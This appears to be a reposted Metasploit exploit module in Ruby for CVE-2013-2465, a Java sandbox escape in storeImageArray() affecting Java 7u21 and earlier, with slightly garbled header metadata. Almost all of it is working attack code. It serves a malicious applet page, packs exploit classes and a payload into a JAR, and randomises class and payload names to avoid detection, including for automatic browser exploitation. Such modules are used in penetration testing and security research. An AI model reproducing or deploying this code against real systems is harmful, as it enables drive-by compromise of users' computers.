Java storeImageArray() Invalid Array Indexing Exploit

:
23.08.2013
:
ava <=7u21
:
:
Oracle Java

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )
super( update_info( info,
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
'Description' => %q{
This module abuses an Invalid Array Indexing Vulnerability on the
static function storeImageArray() function in order to produce a
memory corruption and finally escape the Java Sandbox. The vulnerability
affects Java version 7u21 and earlier. The module, which doesn't bypass
click2play, has been tested successfully on Java 7u21 on Windows and
Linux systems.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # From PacketStorm
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-2465' ],
[ 'OSVDB', '96269' ],
[ 'EDB', '27526' ],
[ 'URL', 'http://packetstormsecurity.com/files/122777/' ],
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 12 2013'
))
end

def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class")
@color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class")
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)
@color_model_class_name = rand_text_alpha("MyColorModel".length)
@color_space_class_name = rand_text_alpha("MyColorSpace".length)

@exploit_class.gsub!("Exploit", @exploit_class_name)
@exploit_class.gsub!("MyColorModel", @color_model_class_name)
@exploit_class.gsub!("MyColorSpace", @color_space_class_name)

@color_model_class.gsub!("Exploit", @exploit_class_name)
@color_model_class.gsub!("MyColorModel", @color_model_class_name)
@color_model_class.gsub!("MyColorSpace", @color_space_class_name)


@color_space_class.gsub!("Exploit", @exploit_class_name)
@color_space_class.gsub!("MyColorModel", @color_model_class_name)
@color_space_class.gsub!("MyColorSpace", @color_space_class_name)

super
end

def on_request_uri( cli, request )
print_debug("Requesting: #{request.uri}")
if request.uri !~ /\.jar$/i
if not request.uri =~ /\/$/
print_status("Sending redirect...")
send_redirect(cli, "#{get_resource}/", '')
return
end

print_status("Sending HTML...")
send_response_html(cli, generate_html, {'Content-Type'=>'text/html'})
return
end

print_status("Sending .jar file...")
send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'})

handler( cli )
end

def generate_html
jar_name = rand_text_alpha(5+rand(3))
html = %Q|<html>
<head>
</head>
<body>
<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
</applet>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
return html
end

def generate_jar(cli)

p = regenerate_payload(cli)
jar = p.encoded_jar

jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest

return jar.pack
end

end

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